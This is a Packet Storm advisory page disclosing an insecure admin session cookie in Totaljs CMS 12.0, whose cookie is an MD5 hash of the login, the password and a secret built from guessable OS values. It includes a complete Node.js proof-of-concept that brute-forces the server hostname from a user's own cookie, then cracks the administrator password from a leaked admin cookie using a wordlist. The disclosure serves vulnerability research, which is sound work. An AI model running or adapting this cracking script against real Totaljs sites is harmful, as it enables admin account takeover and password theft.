exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Totaljs CMS 12.0 Insecure Admin Session Cookie

Totaljs CMS 12.0 Insecure Admin Session Cookie
Posted Sep 3, 2019
Authored by Riccardo Krauter

Totaljs CMS version 12.0 mints an insecure cookie that can be used to crack the administrator password.

tags | exploit, insecure cookie handling
SHA-256 | 6df69239605e353638050aa0d99b6229a04afd43b2e3d8b39f3f681e5e2d1305

Totaljs CMS 12.0 Insecure Admin Session Cookie

Change Mirror Download
[+] Author/Discoverer: Riccardo Krauter @CertimeterGroup

[+] Title: Totaljs CMS Insecure Admin Session cookie

[+] Affected software: Totaljs CMS 12.0

[+] Description:

A low privilege user can easily crack the owned cookie to obtain the
“random” values inside it. If this user can leak a session cookie owned
by another admin, then it’s possible to brute force it with O(n)=2n
instead of O(n)=n^x complexity and steal the admin password. In such way
he break the admin password.

[+] Step to reproduce:

In the file schemas/settings.js
we have that the value for the session cookie is equivalent as:

var key = (user.login + ':' + user.password + ':' + F.config.secret +
string_hash(user.login + ':' + user.password).hash()).md5();

where
Os = require(“os”);
F.config.secret = (Os.hostname()'-' + Os.platform() + '-' + Os.arch() +
'-' + Os.release() + '-' + Os.tmpdir());

and string_hash() is a custom function.

All of this Os variables are easily guessable or brute-forceable.
An attacker can enumerate the machine server with nmap scan to evaluate
the architecture behind (linux, windows...) in this way he escape the
randomness for Os.platform() parameter.
The Os.arch() parameter can be ‘x32’ or ‘x64’, then not so much random
in it.
The Os.release() can be easily listed because are common and public
(e.g. 4.15.0-45-generic), also it will be influenced from the recon of
the Os.platform() in such way if the attacker enumerated a linux machine
he can use a list of all linux version.
The Os.tmpdir() param is totally guessable. For example in linux systems
is /tmp by default.
The Os.hostname() is probably the more random parameter here but a
dictionary based attack can be efficacious to retrieve it.

[+] POC Script:

// cookie_brute.js

var Os = require('os');

var crypto = require('crypto');

var lineByLine = require('n-readlines');

function string_hash(s, convert) {

var hash = 0;

if (s.length === 0)

return convert ? '' : hash;

for (var i = 0, l = s.length; i < l; i++) {

var char = s.charCodeAt(i);

hash = ((hash << 5) - hash) + char;

hash |= 0;

}

//console.log(hash);

return hash;

}


`

schemas/settings.js: var key = (user.login + ':' + user.password + ':' +
F.config.secret + (user.login + ':' + user.password).hash()).md5();

`

//brute forcing the hostname

var liner2 = new lineByLine('/usr/share/wordlists/darkc0de.txt');

var hostname;

owned_passwd = "paw";

var name = "paw";

user_cookie = "b5268788942f8c6057ce83aa98cef85e";

while (hostname = liner2.next()) {

var secret = (hostname + '-' + Os.platform() + '-' + Os.arch() + '-' +
Os.release() + '-' + Os.tmpdir());

secret = crypto.createHash('md5').update(secret).digest("hex");

var h = (name + ':' + owned_passwd + ':' + secret + string_hash(name +
':' + owned_passwd));

h = crypto.createHash('md5').update(h).digest("hex");

if(user_cookie === h){

console.log('[+] Match found with user:password:hostname: ', name + ":"
+ owned_passwd + ":" + hostname);

break;

}

}

//bruteforcing the password

admin_cookie = "d3316f9bd135906890fbc36d858304a5";

var liner = new lineByLine('/usr/share/wordlists/darkc0de.txt');

var name = "admin";

var secret = (hostname + '-' + Os.platform() + '-' + Os.arch() + '-' +
Os.release() + '-' + Os.tmpdir());

secret = crypto.createHash('md5').update(secret).digest("hex");

while (password = liner.next()) {

var h = (name + ':' + password + ':' + secret + string_hash(name + ':' +
password));

h = crypto.createHash('md5').update(h).digest("hex");

if( admin_cookie === h){

console.log('[+] Match found with user:password:hostname: ', name + ":"
+ password + ":" + hostname);

return;

}

}

[+] Project link: https://github.com/totaljs/cms

[+] Original report and details:
https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf

[+] Timeline:

- 13/02/2019 -> reported the issue to the vendor

.... many ping here

- 18/06/2019 -> pinged the vendor last time

- 30/08/2019 -> reported to seclist



Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close